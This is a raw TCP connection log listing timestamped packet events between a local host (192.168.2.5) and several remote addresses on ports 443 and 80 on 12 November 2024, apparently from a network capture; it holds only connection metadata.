Nov 12, 2024 08:30:19.262212992 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.266022921 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.266148090 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.266153097 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.308859110 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.309098959 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.309109926 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.352312088 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.366919994 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.369945049 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.370001078 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.370064020 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.370073080 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.370151043 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.374036074 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.376291990 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.376336098 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.376363993 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.376372099 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.376418114 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.376446962 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.382833004 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.382879972 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.382885933 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.425734997 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.425858021 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.425865889 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.477180958 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.483803034 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.486726999 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.486773014 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.486783028 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.486789942 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.486932039 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.490716934 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.492921114 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.492985964 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.492991924 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.493000984 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.493045092 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.499608040 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.542433023 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.542473078 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.542534113 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.542541027 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.542591095 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.600471973 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.600560904 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.600594997 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.600625992 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.600634098 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.600672960 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.603420019 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.603511095 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.603666067 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.603671074 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.607536077 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.607588053 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.607593060 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.607637882 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.607762098 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.607810020 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:19.607820988 CET	443	49710	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:19.665901899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:19.666197062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:20.461116076 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:20.461172104 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:20.461246967 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:20.461594105 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:20.461610079 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:21.759898901 CET	49720	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:21.759960890 CET	443	49720	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:21.760030031 CET	49720	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:21.760272026 CET	49720	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:21.760287046 CET	443	49720	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:21.842180967 CET	49722	443	192.168.2.5	20.109.210.53
Nov 12, 2024 08:30:21.842215061 CET	443	49722	20.109.210.53	192.168.2.5
Nov 12, 2024 08:30:21.842287064 CET	49722	443	192.168.2.5	20.109.210.53
Nov 12, 2024 08:30:21.844993114 CET	49722	443	192.168.2.5	20.109.210.53
Nov 12, 2024 08:30:21.845006943 CET	443	49722	20.109.210.53	192.168.2.5
Nov 12, 2024 08:30:21.967843056 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:21.967947960 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:21.974421024 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:21.974435091 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:21.975131035 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:21.984354019 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.031337976 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.114475012 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:22.114535093 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:22.114600897 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:22.115652084 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:22.115664959 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:22.202960968 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.202984095 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.202999115 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.203066111 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.203085899 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.203134060 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.229666948 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.229684114 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.229778051 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.229787111 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.229830027 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.320858955 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.320884943 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.320969105 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.320981979 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.321012974 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.321032047 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.346514940 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.346537113 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.346661091 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.346669912 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.346715927 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.348005056 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.348021030 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.348078012 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.348083973 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.348119020 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.438085079 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.438112974 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.438165903 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.438206911 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.438224077 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.438244104 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.463884115 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.463908911 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.464000940 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.464026928 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.464066029 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.465281010 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.465296030 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.465343952 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.465358019 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.465401888 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.555469990 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.555497885 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.555543900 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.555577040 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.555596113 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.555617094 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.581393957 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.581413984 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.581461906 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.581494093 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.581536055 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.582551003 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.582566977 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.582604885 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.582629919 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.582645893 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.582669973 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.583725929 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.583739996 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.583800077 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.583821058 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.583862066 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.628382921 CET	443	49722	20.109.210.53	192.168.2.5
Nov 12, 2024 08:30:22.628452063 CET	49722	443	192.168.2.5	20.109.210.53
Nov 12, 2024 08:30:22.630681038 CET	49722	443	192.168.2.5	20.109.210.53
Nov 12, 2024 08:30:22.630692005 CET	443	49722	20.109.210.53	192.168.2.5
Nov 12, 2024 08:30:22.630975962 CET	443	49722	20.109.210.53	192.168.2.5
Nov 12, 2024 08:30:22.675390959 CET	443	49720	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:22.680556059 CET	49722	443	192.168.2.5	20.109.210.53
Nov 12, 2024 08:30:22.697782993 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.697803020 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.697851896 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.697889090 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.697905064 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.697925091 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.698148012 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.698209047 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.698209047 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.698259115 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.715796947 CET	49720	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:22.715831995 CET	443	49720	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:22.716918945 CET	443	49720	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:22.717041016 CET	49720	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:22.721309900 CET	49720	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:22.721390009 CET	443	49720	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:22.734916925 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.734946012 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.734960079 CET	49718	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.734968901 CET	443	49718	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.774327040 CET	49720	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:22.774353981 CET	443	49720	142.250.185.100	192.168.2.5
Nov 12, 2024 08:30:22.821197033 CET	49720	443	192.168.2.5	142.250.185.100
Nov 12, 2024 08:30:22.834593058 CET	49727	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.834619999 CET	443	49727	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.834698915 CET	49727	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.835902929 CET	49727	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.835918903 CET	443	49727	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.841224909 CET	49728	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.841238976 CET	443	49728	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.841322899 CET	49728	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.842111111 CET	49728	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.842124939 CET	443	49728	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.844259977 CET	49729	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.844295979 CET	443	49729	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.844399929 CET	49729	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.844875097 CET	49729	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.844887018 CET	443	49729	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.852998972 CET	49730	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.853027105 CET	443	49730	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.853077888 CET	49730	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.853849888 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.853861094 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.854021072 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.855633020 CET	49730	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.855654955 CET	443	49730	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.856092930 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:22.856105089 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:22.957947016 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:22.958029032 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:22.978530884 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:22.978549957 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:22.978831053 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:23.024322033 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:23.039151907 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:23.083332062 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:23.280514002 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:23.280576944 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:23.280648947 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:23.280776978 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:23.280776978 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:23.280795097 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:23.280805111 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:23.321166039 CET	49735	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:23.321194887 CET	443	49735	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:23.321260929 CET	49735	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:23.322659969 CET	49735	443	192.168.2.5	184.28.90.27
Nov 12, 2024 08:30:23.322671890 CET	443	49735	184.28.90.27	192.168.2.5
Nov 12, 2024 08:30:23.340265036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:23.340487957 CET	49738	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:23.345038891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:23.345232964 CET	80	49738	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:23.345295906 CET	49738	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:23.345438957 CET	49738	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:23.350250006 CET	80	49738	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:23.570064068 CET	443	49729	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.570925951 CET	49729	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.570950985 CET	443	49729	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.571578026 CET	49729	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.571583986 CET	443	49729	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.580634117 CET	443	49728	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.581372023 CET	49728	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.581401110 CET	443	49728	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.581917048 CET	49728	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.581923962 CET	443	49728	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.603869915 CET	443	49727	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.604290962 CET	49727	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.604310989 CET	443	49727	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.604748011 CET	49727	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.604753017 CET	443	49727	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.625956059 CET	443	49730	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.626317024 CET	49730	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.626336098 CET	443	49730	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.626718044 CET	49730	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.626724005 CET	443	49730	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.700578928 CET	443	49729	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.700603962 CET	443	49729	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.700659990 CET	443	49729	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.700670004 CET	49729	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.700754881 CET	49729	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.700891018 CET	49729	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.700917006 CET	443	49729	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.700930119 CET	49729	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.700934887 CET	443	49729	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.703692913 CET	49739	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.703731060 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.703941107 CET	49739	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.704061031 CET	49739	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.704070091 CET	443	49739	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.713752985 CET	443	49728	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.713859081 CET	443	49728	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.714026928 CET	49728	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.714026928 CET	49728	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.714054108 CET	49728	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.714066029 CET	443	49728	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.715941906 CET	49740	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.715975046 CET	443	49740	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.716171980 CET	49740	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.716298103 CET	49740	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.716305971 CET	443	49740	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.735850096 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.736202002 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.736222029 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.736676931 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.736681938 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.741461992 CET	443	49727	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.741482019 CET	443	49727	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.741523027 CET	443	49727	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.741560936 CET	49727	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.741594076 CET	49727	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.741653919 CET	49727	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.741663933 CET	443	49727	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.741713047 CET	49727	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.741719007 CET	443	49727	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.743935108 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.743966103 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.744501114 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.744664907 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.744677067 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.765688896 CET	443	49730	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.765708923 CET	443	49730	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.765763044 CET	49730	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.765774012 CET	443	49730	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.765836954 CET	443	49730	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.765892982 CET	49730	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.765955925 CET	49730	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.765955925 CET	49730	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.765966892 CET	443	49730	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.765974998 CET	443	49730	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.767882109 CET	49742	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.767904997 CET	443	49742	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.767990112 CET	49742	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.768115997 CET	49742	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.768126011 CET	443	49742	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.856053114 CET	49722	443	192.168.2.5	20.109.210.53
Nov 12, 2024 08:30:23.880721092 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.881047010 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.881122112 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.881150007 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.881165981 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.881175041 CET	49731	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.881180048 CET	443	49731	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.883974075 CET	49744	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.884006977 CET	443	49744	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.884228945 CET	49744	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.884356022 CET	49744	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:23.884366035 CET	443	49744	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:23.899342060 CET	443	49722	20.109.210.53	192.168.2.5
Nov 12, 2024 08:30:24.113687992 CET	443	49722	20.109.210.53	192.168.2.5
Nov 12, 2024 08:30:24.113708019 CET	443	49722	20.109.210.53	192.168.2.5
Nov 12, 2024 08:30:24.113718987 CET	443	49722	20.109.210.53	192.168.2.5
Nov 12, 2024 08:30:24.113737106 CET	443	49722	20.109.210.53	192.168.2.5
Nov 12, 2024 08:30:24.113770008 CET	49722	443	192.168.2.5	20.109.210.53
Nov 12, 2024 08:30:24.113766909 CET	443	49722	20.109.210.53	192.168.2.5
Nov 12, 2024 08:30:24.113784075 CET	443	49722	20.109.210.53	192.168.2.5
Nov 12, 2024 08:30:24.113804102 CET	49722	443	192.168.2.5	20.109.210.53
